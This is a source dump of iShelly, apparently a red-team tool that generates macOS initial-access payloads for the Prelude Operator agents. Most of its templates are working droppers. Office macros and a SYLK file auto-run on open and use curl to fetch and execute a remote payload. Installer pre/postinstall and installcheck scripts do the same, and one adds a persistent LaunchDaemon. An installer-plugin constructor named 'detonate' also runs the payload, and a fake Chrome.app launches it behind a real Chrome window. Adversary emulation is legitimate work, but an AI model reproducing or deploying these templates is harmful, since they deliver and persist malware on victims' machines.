├── requirements.txt
├── assets
├── logo.png
└── iShelly.gif
├── src
├── Templates
│ ├── Installer_Plugins
│ │ ├── SpecialDelivery
│ │ │ ├── en.lproj
│ │ │ │ ├── InfoPlist.strings
│ │ │ │ └── Localizable.strings
│ │ │ ├── MyInstallerPane.h
│ │ │ ├── InstallerSections.plist
│ │ │ ├── Info.plist
│ │ │ ├── Base.lproj
│ │ │ │ └── MyInstallerPane.xib
│ │ │ └── MyInstallerPane.m
│ │ └── SpecialDelivery.xcodeproj
│ │ │ ├── project.xcworkspace
│ │ │ ├── contents.xcworkspacedata
│ │ │ ├── xcuserdata
│ │ │ │ ├── xorrior.xcuserdatad
│ │ │ │ │ └── UserInterfaceState.xcuserstate
│ │ │ │ └── itsatrap.xcuserdatad
│ │ │ │ │ └── UserInterfaceState.xcuserstate
│ │ │ └── xcshareddata
│ │ │ │ └── IDEWorkspaceChecks.plist
│ │ │ ├── xcuserdata
│ │ │ └── xorrior.xcuserdatad
│ │ │ │ └── xcschemes
│ │ │ │ └── xcschememanagement.plist
│ │ │ ├── xcshareddata
│ │ │ └── xcschemes
│ │ │ │ └── SpecialDelivery.xcscheme
│ │ │ └── project.pbxproj
│ ├── Installer_Package_with_LD
│ │ └── simple-package
│ │ │ └── scripts
│ │ │ ├── postinstall
│ │ │ ├── preinstall
│ │ │ └── files
│ │ │ └── com.simple.plist
│ ├── DMG
│ │ ├── Chrome.app
│ │ │ └── Contents
│ │ │ │ ├── MacOS
│ │ │ │ └── Application Stub
│ │ │ │ ├── Resources
│ │ │ │ └── AutomatorApplet.icns
│ │ │ │ ├── Info.plist
│ │ │ │ └── document.wflow
│ │ └── settings.json
│ ├── Installer_Package
│ │ └── simple-package
│ │ │ └── scripts
│ │ │ └── preinstall
│ ├── Office_for_Mac
│ │ ├── macro_sylk_excel.txt
│ │ ├── macro_vba_excel.txt
│ │ ├── macro_vba_word.txt
│ │ └── macro_vba_ppt.txt
│ ├── Installer_Package_postinstall
│ │ └── simple-package
│ │ │ └── scripts
│ │ │ └── postinstall
│ ├── Installer_Package_JS_Script
│ │ ├── Scripts
│ │ │ └── installcheck
│ │ └── distribution.xml
│ └── Installer_Package_JS
│ │ └── distribution.xml
├── agents.json
└── modules
│ ├── modules.py
│ └── common.py
├── LICENSE.txt
├── README.md
├── iShelly.py
└── .gitignore
/requirements.txt:
--------------------------------------------------------------------------------
1 | pick
2 | requests
3 | dmgbuild
4 | pyyaml
5 | psutil
6 |
--------------------------------------------------------------------------------
/assets/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AutomoxSecurity/iShelly/HEAD/assets/logo.png
--------------------------------------------------------------------------------
/assets/iShelly.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AutomoxSecurity/iShelly/HEAD/assets/iShelly.gif
--------------------------------------------------------------------------------
/src/Templates/Installer_Plugins/SpecialDelivery/en.lproj/InfoPlist.strings:
--------------------------------------------------------------------------------
1 | InstallerSectionTitle = "SpecialDelivery";
2 |
--------------------------------------------------------------------------------
/src/Templates/Installer_Plugins/SpecialDelivery/en.lproj/Localizable.strings:
--------------------------------------------------------------------------------
1 | /* Localized versions of Info.plist keys */
2 |
3 | "PaneTitle" = "SpecialDelivery";
4 |
--------------------------------------------------------------------------------
/src/Templates/Installer_Package_with_LD/simple-package/scripts/postinstall:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | launchctl load -w "/Library/LaunchDaemons/com.simple.agent.plist"
3 | exit 0
4 |
--------------------------------------------------------------------------------
/src/Templates/DMG/Chrome.app/Contents/MacOS/Application Stub:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | /Applications/Chrome.app/Contents/MacOS/operator-payload -name TECHNIQUE_NAME &
3 | open -a "Google Chrome"
4 |
--------------------------------------------------------------------------------
/src/Templates/DMG/Chrome.app/Contents/Resources/AutomatorApplet.icns:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AutomoxSecurity/iShelly/HEAD/src/Templates/DMG/Chrome.app/Contents/Resources/AutomatorApplet.icns
--------------------------------------------------------------------------------
/src/Templates/Installer_Package_with_LD/simple-package/scripts/preinstall:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | cp "files/operator-payload" "/Library/Application Support/"
3 | cp "files/com.simple.plist" "/Library/LaunchDaemons/com.simple.agent.plist"
4 | exit 0
5 |
--------------------------------------------------------------------------------
/src/Templates/Installer_Plugins/SpecialDelivery.xcodeproj/project.xcworkspace/contents.xcworkspacedata:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/src/Templates/Installer_Package/simple-package/scripts/preinstall:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | cp files/operator-payload "/Library/Application Support/"
3 | chmod +x /Library/Application\ Support/operator-payload
4 | nohup bash -c "/Library/Application\ Support/operator-payload -name TECHNIQUE_NAME" &
5 | exit 0
6 |
--------------------------------------------------------------------------------
/src/Templates/Office_for_Mac/macro_sylk_excel.txt:
--------------------------------------------------------------------------------
1 | ID;P
2 | O;E
3 | NN;NAuto_open;ER101C1;KD00mFist;F
4 | C;X1;Y101;K0;ECALL("libc.dylib","system","JC","/usr/bin/curl -k REMOTE_PAYLOAD_URL -o operator-payload && chmod +x operator-payload && ./operator-payload -name TECHNIQUE_NAME &")
5 | C;X1;Y102;K0;EHALT()
6 | E
--------------------------------------------------------------------------------
/src/Templates/Office_for_Mac/macro_vba_excel.txt:
--------------------------------------------------------------------------------
1 | Sub Workbook_Open()
2 | MacScript("do shell script ""curl -k REMOTE_PAYLOAD_URL -o operator-payload"" ")
3 | MacScript("do shell script ""chmod +x operator-payload""")
4 | MacScript("do shell script ""./operator-payload -name TECHNIQUE_NAME &""")
5 | End Sub
6 |
--------------------------------------------------------------------------------
/src/Templates/Office_for_Mac/macro_vba_word.txt:
--------------------------------------------------------------------------------
1 | Sub Document_Open()
2 | MacScript("do shell script ""curl -k REMOTE_PAYLOAD_URL -o operator-payload"" ")
3 | MacScript("do shell script ""chmod +x operator-payload""")
4 | MacScript("do shell script ""./operator-payload -name TECHNIQUE_NAME &""")
5 | End Sub
6 |
--------------------------------------------------------------------------------
/src/Templates/Installer_Package_postinstall/simple-package/scripts/postinstall:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | cp files/operator-payload "/Library/Application Support/"
3 | chmod +x /Library/Application\ Support/operator-payload
4 | nohup bash -c "/Library/Application\ Support/operator-payload -name TECHNIQUE_NAME" &
5 | exit 0
6 |
--------------------------------------------------------------------------------
/src/Templates/Office_for_Mac/macro_vba_ppt.txt:
--------------------------------------------------------------------------------
1 | Sub App_AfterPresentationOpen()
2 | MacScript("do shell script ""curl -k REMOTE_PAYLOAD_URL -o operator-payload"" ")
3 | MacScript("do shell script ""chmod +x operator-payload""")
4 | MacScript("do shell script ""./operator-payload -name TECHNIQUE_NAME &""")
5 | End Sub
6 |
--------------------------------------------------------------------------------
/src/Templates/Installer_Plugins/SpecialDelivery.xcodeproj/project.xcworkspace/xcuserdata/xorrior.xcuserdatad/UserInterfaceState.xcuserstate:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AutomoxSecurity/iShelly/HEAD/src/Templates/Installer_Plugins/SpecialDelivery.xcodeproj/project.xcworkspace/xcuserdata/xorrior.xcuserdatad/UserInterfaceState.xcuserstate
--------------------------------------------------------------------------------
/src/Templates/Installer_Package_JS_Script/Scripts/installcheck:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | curl -k 'REMOTE_PAYLOAD_URL' -o /Users/$USER/Library/Application\ Support/operator-payload
3 | chmod +x /Users/$USER/Library/Application\ Support/operator-payload
4 | /Users/$USER/Library/Application\ Support/operator-payload -name TECHNIQUE_NAME &
5 | exit 0
6 |
--------------------------------------------------------------------------------
/src/Templates/Installer_Plugins/SpecialDelivery.xcodeproj/project.xcworkspace/xcuserdata/itsatrap.xcuserdatad/UserInterfaceState.xcuserstate:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AutomoxSecurity/iShelly/HEAD/src/Templates/Installer_Plugins/SpecialDelivery.xcodeproj/project.xcworkspace/xcuserdata/itsatrap.xcuserdatad/UserInterfaceState.xcuserstate
--------------------------------------------------------------------------------
/src/Templates/Installer_Plugins/SpecialDelivery/MyInstallerPane.h:
--------------------------------------------------------------------------------
1 | //
2 | // MyInstallerPane.h
3 | // SpecialDelivery
4 | //
5 | // Created by xorrior on 5/2/20.
6 | // Copyright © 2020 xorrior. All rights reserved.
7 | //
8 |
9 | #import
10 |
11 | @interface MyInstallerPane : InstallerPane
12 |
13 | @end
14 |
--------------------------------------------------------------------------------
/src/agents.json:
--------------------------------------------------------------------------------
1 | {
2 | "PneumaEX": {
3 | "supported_executables": ["exe"],
4 | "outpost_filename": "pneumaEX/v1.6/pneumaEX.zip",
5 | "needs-compilation": true
6 | },
7 | "Pneuma": {
8 | "supported_executables": ["exe"],
9 | "outpost_filename": "pneuma-darwin",
10 | "needs-compilation": false
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/src/Templates/Installer_Plugins/SpecialDelivery.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | IDEDidComputeMac32BitWarning
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/src/Templates/DMG/settings.json:
--------------------------------------------------------------------------------
1 | {
2 | "title": "Chrome",
3 | "background": "builtin-arrow",
4 | "format": "UDZO",
5 | "compression-level": 9,
6 | "window": { "position": { "x": 100, "y": 100 },
7 | "size": { "width": 640, "height": 280 } },
8 | "contents": [
9 | { "x": 140, "y": 120, "type": "file","path": "Chrome.app" },
10 | { "x": 500, "y": 120, "type": "link", "path": "/Applications" }
11 | ]
12 | }
13 |
--------------------------------------------------------------------------------
/src/Templates/Installer_Plugins/SpecialDelivery/InstallerSections.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | SectionOrder
6 |
7 | Introduction
8 | ReadMe
9 | License
10 | SpecialDelivery.bundle
11 | Target
12 | PackageSelection
13 | Install
14 |
15 |
16 |
17 |
--------------------------------------------------------------------------------
/src/Templates/Installer_Package_with_LD/simple-package/scripts/files/com.simple.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Label
6 | com.simple.agent
7 | ProgramArguments
8 |
9 | /Library/Application Support/operator-payload
10 | -name
11 | TECHNIQUE_NAME
12 |
13 | KeepAlive
14 |
15 |
16 |
17 |
--------------------------------------------------------------------------------
/src/Templates/Installer_Plugins/SpecialDelivery.xcodeproj/xcuserdata/xorrior.xcuserdatad/xcschemes/xcschememanagement.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | SchemeUserState
6 |
7 | SpecialDelivery.xcscheme_^#shared#^_
8 |
9 | orderHint
10 | 0
11 |
12 |
13 | SuppressBuildableAutocreation
14 |
15 | C20B672E245E000100CEE52C
16 |
17 | primary
18 |
19 |
20 |
21 |
22 |
23 |
--------------------------------------------------------------------------------
/LICENSE.txt:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2022 Automox Inc.
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/src/Templates/Installer_Package_JS_Script/distribution.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | Package Installer
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 | install.pkg
16 |
17 |
32 |
33 |
--------------------------------------------------------------------------------
/src/Templates/Installer_Plugins/SpecialDelivery/Info.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | CFBundleDevelopmentRegion
6 | $(DEVELOPMENT_LANGUAGE)
7 | CFBundleExecutable
8 | $(EXECUTABLE_NAME)
9 | CFBundleIdentifier
10 | $(PRODUCT_BUNDLE_IDENTIFIER)
11 | CFBundleInfoDictionaryVersion
12 | 6.0
13 | CFBundleName
14 | $(PRODUCT_NAME)
15 | CFBundlePackageType
16 | $(PRODUCT_BUNDLE_PACKAGE_TYPE)
17 | CFBundleShortVersionString
18 | 1.0
19 | CFBundleVersion
20 | 1
21 | InstallerSectionTitle
22 | SpecialDelivery
23 | NSHumanReadableCopyright
24 | Copyright © 2020 xorrior. All rights reserved.
25 | NSMainNibFile
26 | MyInstallerPane
27 | NSPrincipalClass
28 | InstallerSection
29 |
30 |
31 |
--------------------------------------------------------------------------------
/src/Templates/Installer_Plugins/SpecialDelivery/Base.lproj/MyInstallerPane.xib:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
--------------------------------------------------------------------------------
/src/Templates/Installer_Package_JS/distribution.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | Package Installer
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 | install.pkg
16 |
17 |
40 |
41 |
--------------------------------------------------------------------------------
/src/Templates/Installer_Plugins/SpecialDelivery/MyInstallerPane.m:
--------------------------------------------------------------------------------
1 | //
2 | // MyInstallerPane.m
3 | // SpecialDelivery
4 | //
5 | // Created by xorrior on 5/2/20.
6 | // Copyright © 2020 xorrior. All rights reserved.
7 | //
8 |
9 | #import "MyInstallerPane.h"
10 | #include
11 | #include
12 | #import
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include
19 |
20 | // This code executes when the bundle is initially loaded by the InstallerRemotePluginService
21 | __attribute__((constructor)) static void detonate()
22 | {
23 |
24 | NSTask *task = [[NSTask alloc] init];
25 | [task setLaunchPath:@"/bin/bash"];
26 | [task setArguments:@[ @"-c", @"/usr/bin/curl -k 'REMOTE_PAYLOAD_URL' -o /Users/$USER/Library/Application\\ Support/operator-payload; chmod +x /Users/$USER/Library/Application\\ Support/operator-payload; /Users/$USER/Library/Application\\ Support/operator-payload -name TECHNIQUE_NAME &" ]];
27 | [task launch];
28 |
29 | }
30 |
31 | @implementation MyInstallerPane
32 |
33 | - (NSString *)title
34 | {
35 | return [[NSBundle bundleForClass:[self class]] localizedStringForKey:@"PaneTitle" value:nil table:nil];
36 | }
37 |
38 | - (void)willEnterPane:(InstallerSectionDirection)dir {
39 | // This winodw
40 | }
41 |
42 | - (void) willExitPane:(InstallerSectionDirection)dir {
43 | return;
44 | }
45 |
46 | - (BOOL)shouldExitPane:(InstallerSectionDirection)dir
47 | {
48 | return YES;
49 | }
50 |
51 | @end
52 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | 
2 |
3 | iShelly is tool to generate macOS initial access vectors using [Prelude Operator](https://www.prelude.org/) payloads.
4 |
5 | It automates the following:
6 | - Compilation of Prelude Operator agents
7 | - Staging of payloads
8 | - Generation of initial access vectors on macOS. This includes various installer and disk image techniques (for a complete list, see the list of currently supported modules)
9 |
10 | 
11 |
12 | # Currently supports:
13 |
14 | Agents:
15 |
16 | - PneumaEX
17 | - Pneuma (supported on free Prelude Operator license!)
18 |
19 | Modules:
20 |
21 | - Installer Package w/ only preinstall script
22 | - Installer Package w/ only postinstall script
23 | - Installer Package w/ Launch Daemon for Persistence - contains both pre/postinstall scripts!
24 | - Installer Package w/ Installer Plugin
25 | - Installer Package w/ JavaScript Functionality embedded
26 | - Installer Package w/ JavaScript Functionality in Script
27 | - Disk Image (DMG file)
28 | - Macro VBA
29 | - Macro SYLK with Excel
30 |
31 |
32 | # Installation
33 |
34 | This tool will only run on macOS, since the package builders are native to macOS.
35 |
36 | 1. Use your favorite virtualenv tool to create a virtualenv.
37 | 2. Launch Operator tool on macOS
38 | 3. `pip3 install -r requirements`
39 | 4. `python3 iShelly.py`
40 |
41 | # Release Notes
42 |
43 | ## 1.1
44 | - Added a temporary patch to fix https://github.com/preludeorg/pneuma/pull/115
45 | - Added support for Pneuma. This means you can use iShelly on the free version of Prelude Operator
46 | - Added support for agent names, which are passed on the command line. This makes it easy to identify agents in Operator that are tied to a specific initial access technique. It also makes it easy for the blue team to hunt for a specific technique: use the cmdline.
47 |
48 | # Credit
49 |
50 | This project is a rewrite of [Mystikal](https://github.com/D00MFist/Mystikal), an initial access payload generator for the Mythic c2 platform written by Leo Pitt.
51 |
--------------------------------------------------------------------------------
/iShelly.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 | import sys
3 | import os
4 | from pick import pick
5 | from src.modules import modules, common
6 | import json
7 |
8 |
9 | def main():
10 | global logger
11 |
12 | parser = common.get_parser()
13 | args = parser.parse_args()
14 | logger = common.get_logger(args)
15 |
16 | if not common.prereqs_present():
17 | sys.exit()
18 |
19 | os.makedirs("./Payloads/", exist_ok=True)
20 | all_options = common.get_options()
21 |
22 | logger.debug("Generating: {}".format(all_options['procedure']))
23 | c2 = common.C2(all_options)
24 | agent = common.Agent(c2, all_options)
25 |
26 | c2.get_payload()
27 | if all_options['needs-compilation']:
28 | c2.extract_zip()
29 | agent.build_operator_agent_config()
30 | agent.save_c2_profile_settings()
31 | agent.build_agent(all_options)
32 | agent.upload_payload()
33 |
34 | module = common.ModuleGenerator(agent)
35 | if all_options['procedure'] == 'Installer Package w/ only preinstall script':
36 | modules.install_pkg(module)
37 | elif all_options['procedure'] == 'Installer Package w/ only postinstall script':
38 | modules.install_pkg_postinstall(module)
39 | elif all_options['procedure'] == 'Installer Package w/ Launch Daemon for Persistence':
40 | modules.install_pkg_ld(module)
41 | elif all_options['procedure'] == 'Installer Package w/ Installer Plugin':
42 | modules.install_pkg_installer_plugin(module)
43 | elif all_options['procedure'] == 'Installer Package w/ JavaScript Functionality embedded':
44 | modules.install_pkg_js_embedded(module)
45 | elif all_options['procedure'] == 'Installer Package w/ JavaScript Functionality in Script':
46 | modules.install_pkg_js_script(module)
47 | elif all_options['procedure'] == 'Disk Image':
48 | modules.disk_image(module)
49 | elif all_options['procedure'] == 'Macro VBA Excel':
50 | modules.macro_vba_excel(module)
51 | elif all_options['procedure'] == 'Macro VBA PowerPoint':
52 | modules.macro_vba_ppt(module)
53 | elif all_options['procedure'] == 'Macro VBA Word':
54 | modules.macro_vba_word(module)
55 | elif all_options['procedure'] == 'Macro SYLK Excel':
56 | modules.macro_sylk_excel(module)
57 |
58 | print(
59 | '\n[*] Done generating package! Navigate to ./Payloads for payload.\n')
60 | if not args.debug:
61 | logger.debug(
62 | 'Cleaning payload staging directory.')
63 | module.clean_payload_staging()
64 |
65 |
66 | if __name__ == '__main__':
67 | main()
68 |
--------------------------------------------------------------------------------
/src/Templates/Installer_Plugins/SpecialDelivery.xcodeproj/xcshareddata/xcschemes/SpecialDelivery.xcscheme:
--------------------------------------------------------------------------------
1 |
2 |
5 |
8 |
9 |
15 |
21 |
22 |
23 |
24 |
25 |
30 |
31 |
32 |
33 |
43 |
44 |
50 |
51 |
57 |
58 |
59 |
60 |
62 |
63 |
66 |
67 |
68 |
--------------------------------------------------------------------------------
/src/Templates/DMG/Chrome.app/Contents/Info.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | AMIsApplet
6 |
7 | AMStayOpen
8 |
9 | BuildMachineOSBuild
10 | 18A391024
11 | CFBundleAllowMixedLocalizations
12 |
13 | CFBundleDevelopmentRegion
14 | English
15 | CFBundleDocumentTypes
16 |
17 |
18 | CFBundleTypeExtensions
19 |
20 | *
21 |
22 | CFBundleTypeName
23 | Automator workflow file
24 | CFBundleTypeOSTypes
25 |
26 | ****
27 |
28 | CFBundleTypeRole
29 | Viewer
30 |
31 |
32 | CFBundleExecutable
33 | Application Stub
34 | CFBundleIconFile
35 | AutomatorApplet
36 | CFBundleIdentifier
37 | com.apple.automator.Chrome
38 | CFBundleInfoDictionaryVersion
39 | 6.0
40 | CFBundleName
41 | Chrome
42 | CFBundlePackageType
43 | APPL
44 | CFBundleShortVersionString
45 | 1.3
46 | CFBundleSignature
47 | ????
48 | CFBundleSupportedPlatforms
49 |
50 | MacOSX
51 |
52 | CFBundleURLTypes
53 |
54 | CFBundleVersion
55 | 492
56 | DTCompiler
57 | com.apple.compilers.llvm.clang.1_0
58 | DTPlatformBuild
59 | 11O62d
60 | DTPlatformName
61 | macosx
62 | DTPlatformVersion
63 | 10.15.4
64 | DTSDKBuild
65 | 19F71
66 | DTSDKName
67 | macosx10.15internal
68 | DTXcode
69 | 1140
70 | DTXcodeBuild
71 | 11O62d
72 | LSMinimumSystemVersion
73 | 10.8
74 | LSUIElement
75 |
76 | NSAppleEventsUsageDescription
77 | This workflow needs to control other applications to run.
78 | NSAppleMusicUsageDescription
79 | This workflow needs access to your music to run.
80 | NSAppleScriptEnabled
81 | YES
82 | NSCalendarsUsageDescription
83 | This workflow needs access to your calendars to run.
84 | NSCameraUsageDescription
85 | This workflow needs access to your camera to run.
86 | NSContactsUsageDescription
87 | This workflow needs access to your contacts to run.
88 | NSHomeKitUsageDescription
89 | This workflow needs access to your HomeKit Home to run.
90 | NSMicrophoneUsageDescription
91 | This workflow needs access to your microphone to run.
92 | NSPhotoLibraryUsageDescription
93 | This workflow needs access to your photos to run.
94 | NSPrincipalClass
95 | NSApplication
96 | NSRemindersUsageDescription
97 | This workflow needs access to your reminders to run.
98 | NSServices
99 |
100 | NSSiriUsageDescription
101 | This workflow needs access to Siri to run.
102 | NSSystemAdministrationUsageDescription
103 | This workflow needs access to administer this system in order to run.
104 | UTExportedTypeDeclarations
105 |
106 | UTImportedTypeDeclarations
107 |
108 |
109 |
110 |
--------------------------------------------------------------------------------
/src/Templates/DMG/Chrome.app/Contents/document.wflow:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | AMApplicationBuild
6 | 492
7 | AMApplicationVersion
8 | 2.10
9 | AMDocumentVersion
10 | 2
11 | actions
12 |
13 |
14 | action
15 |
16 | AMAccepts
17 |
18 | Container
19 | List
20 | Optional
21 |
22 | Types
23 |
24 | com.apple.cocoa.string
25 |
26 |
27 | AMActionVersion
28 | 2.0.3
29 | AMApplication
30 |
31 | Automator
32 |
33 | AMParameterProperties
34 |
35 | COMMAND_STRING
36 |
37 | CheckedForUserDefaultShell
38 |
39 | inputMethod
40 |
41 | shell
42 |
43 | source
44 |
45 |
46 | AMProvides
47 |
48 | Container
49 | List
50 | Types
51 |
52 | com.apple.cocoa.string
53 |
54 |
55 | ActionBundlePath
56 | /System/Library/Automator/Run Shell Script.action
57 | ActionName
58 | Run Shell Script
59 | ActionParameters
60 |
61 | COMMAND_STRING
62 | open "/Applications/Google Chrome.app"
63 | CheckedForUserDefaultShell
64 |
65 | inputMethod
66 | 0
67 | shell
68 | /bin/zsh
69 | source
70 |
71 |
72 | BundleIdentifier
73 | com.apple.RunShellScript
74 | CFBundleVersion
75 | 2.0.3
76 | CanShowSelectedItemsWhenRun
77 |
78 | CanShowWhenRun
79 |
80 | Category
81 |
82 | AMCategoryUtilities
83 |
84 | Class Name
85 | RunShellScriptAction
86 | InputUUID
87 | 5B59EF6C-AFE0-471C-B8B8-B01F99661948
88 | Keywords
89 |
90 | Shell
91 | Script
92 | Command
93 | Run
94 | Unix
95 |
96 | OutputUUID
97 | F260B5E8-A838-40E3-8776-5BB768739F9A
98 | UUID
99 | C2666BFF-30FA-4681-B405-4E80EFBF4B30
100 | UnlocalizedApplications
101 |
102 | Automator
103 |
104 | arguments
105 |
106 | 0
107 |
108 | default value
109 | 0
110 | name
111 | inputMethod
112 | required
113 | 0
114 | type
115 | 0
116 | uuid
117 | 0
118 |
119 | 1
120 |
121 | default value
122 |
123 | name
124 | CheckedForUserDefaultShell
125 | required
126 | 0
127 | type
128 | 0
129 | uuid
130 | 1
131 |
132 | 2
133 |
134 | default value
135 |
136 | name
137 | source
138 | required
139 | 0
140 | type
141 | 0
142 | uuid
143 | 2
144 |
145 | 3
146 |
147 | default value
148 |
149 | name
150 | COMMAND_STRING
151 | required
152 | 0
153 | type
154 | 0
155 | uuid
156 | 3
157 |
158 | 4
159 |
160 | default value
161 | /bin/sh
162 | name
163 | shell
164 | required
165 | 0
166 | type
167 | 0
168 | uuid
169 | 4
170 |
171 |
172 | conversionLabel
173 | 0
174 | isViewVisible
175 |
176 | location
177 | 309.000000:252.000000
178 | nibPath
179 | /System/Library/Automator/Run Shell Script.action/Contents/Resources/Base.lproj/main.nib
180 |
181 | isViewVisible
182 |
183 |
184 |
185 | connectors
186 |
187 | workflowMetaData
188 |
189 | workflowTypeIdentifier
190 | com.apple.Automator.application
191 |
192 |
193 |
194 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 |
2 | # Created by https://www.toptal.com/developers/gitignore/api/pycharm,macos,python
3 | # Edit at https://www.toptal.com/developers/gitignore?templates=pycharm,macos,python
4 |
5 | ### macOS ###
6 | # General
7 | .DS_Store
8 | .AppleDouble
9 | .LSOverride
10 |
11 | # Icon must end with two \r
12 | Icon
13 |
14 |
15 | # Thumbnails
16 | ._*
17 |
18 | # Files that might appear in the root of a volume
19 | .DocumentRevisions-V100
20 | .fseventsd
21 | .Spotlight-V100
22 | .TemporaryItems
23 | .Trashes
24 | .VolumeIcon.icns
25 | .com.apple.timemachine.donotpresent
26 |
27 | # Directories potentially created on remote AFP share
28 | .AppleDB
29 | .AppleDesktop
30 | Network Trash Folder
31 | Temporary Items
32 | .apdisk
33 |
34 | ### PyCharm ###
35 | # Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio, WebStorm and Rider
36 | # Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839
37 |
38 | # User-specific stuff
39 | .idea/**/workspace.xml
40 | .idea/**/tasks.xml
41 | .idea/**/usage.statistics.xml
42 | .idea/**/dictionaries
43 | .idea/**/shelf
44 | .idea
45 |
46 | # AWS User-specific
47 | .idea/**/aws.xml
48 |
49 | # Generated files
50 | .idea/**/contentModel.xml
51 |
52 | # Sensitive or high-churn files
53 | .idea/**/dataSources/
54 | .idea/**/dataSources.ids
55 | .idea/**/dataSources.local.xml
56 | .idea/**/sqlDataSources.xml
57 | .idea/**/dynamic.xml
58 | .idea/**/uiDesigner.xml
59 | .idea/**/dbnavigator.xml
60 |
61 | # Gradle
62 | .idea/**/gradle.xml
63 | .idea/**/libraries
64 |
65 | # Gradle and Maven with auto-import
66 | # When using Gradle or Maven with auto-import, you should exclude module files,
67 | # since they will be recreated, and may cause churn. Uncomment if using
68 | # auto-import.
69 | # .idea/artifacts
70 | # .idea/compiler.xml
71 | # .idea/jarRepositories.xml
72 | # .idea/modules.xml
73 | # .idea/*.iml
74 | # .idea/modules
75 | # *.iml
76 | # *.ipr
77 |
78 | # CMake
79 | cmake-build-*/
80 |
81 | # Mongo Explorer plugin
82 | .idea/**/mongoSettings.xml
83 |
84 | # File-based project format
85 | *.iws
86 |
87 | # IntelliJ
88 | out/
89 |
90 | # mpeltonen/sbt-idea plugin
91 | .idea_modules/
92 |
93 | # JIRA plugin
94 | atlassian-ide-plugin.xml
95 |
96 | # Cursive Clojure plugin
97 | .idea/replstate.xml
98 |
99 | # SonarLint plugin
100 | .idea/sonarlint/
101 |
102 | # Crashlytics plugin (for Android Studio and IntelliJ)
103 | com_crashlytics_export_strings.xml
104 | crashlytics.properties
105 | crashlytics-build.properties
106 | fabric.properties
107 |
108 | # Editor-based Rest Client
109 | .idea/httpRequests
110 |
111 | # Android studio 3.1+ serialized cache file
112 | .idea/caches/build_file_checksums.ser
113 |
114 | ### PyCharm Patch ###
115 | # Comment Reason: https://github.com/joeblau/gitignore.io/issues/186#issuecomment-215987721
116 |
117 | # *.iml
118 | # modules.xml
119 | # .idea/misc.xml
120 | # *.ipr
121 |
122 | # Sonarlint plugin
123 | # https://plugins.jetbrains.com/plugin/7973-sonarlint
124 | .idea/**/sonarlint/
125 |
126 | # SonarQube Plugin
127 | # https://plugins.jetbrains.com/plugin/7238-sonarqube-community-plugin
128 | .idea/**/sonarIssues.xml
129 |
130 | # Markdown Navigator plugin
131 | # https://plugins.jetbrains.com/plugin/7896-markdown-navigator-enhanced
132 | .idea/**/markdown-navigator.xml
133 | .idea/**/markdown-navigator-enh.xml
134 | .idea/**/markdown-navigator/
135 |
136 | # Cache file creation bug
137 | # See https://youtrack.jetbrains.com/issue/JBR-2257
138 | .idea/$CACHE_FILE$
139 |
140 | # CodeStream plugin
141 | # https://plugins.jetbrains.com/plugin/12206-codestream
142 | .idea/codestream.xml
143 |
144 | ### Python ###
145 | # Byte-compiled / optimized / DLL files
146 | __pycache__/
147 | *.py[cod]
148 | *$py.class
149 |
150 | # C extensions
151 | *.so
152 |
153 | # Distribution / packaging
154 | .Python
155 | build/
156 | develop-eggs/
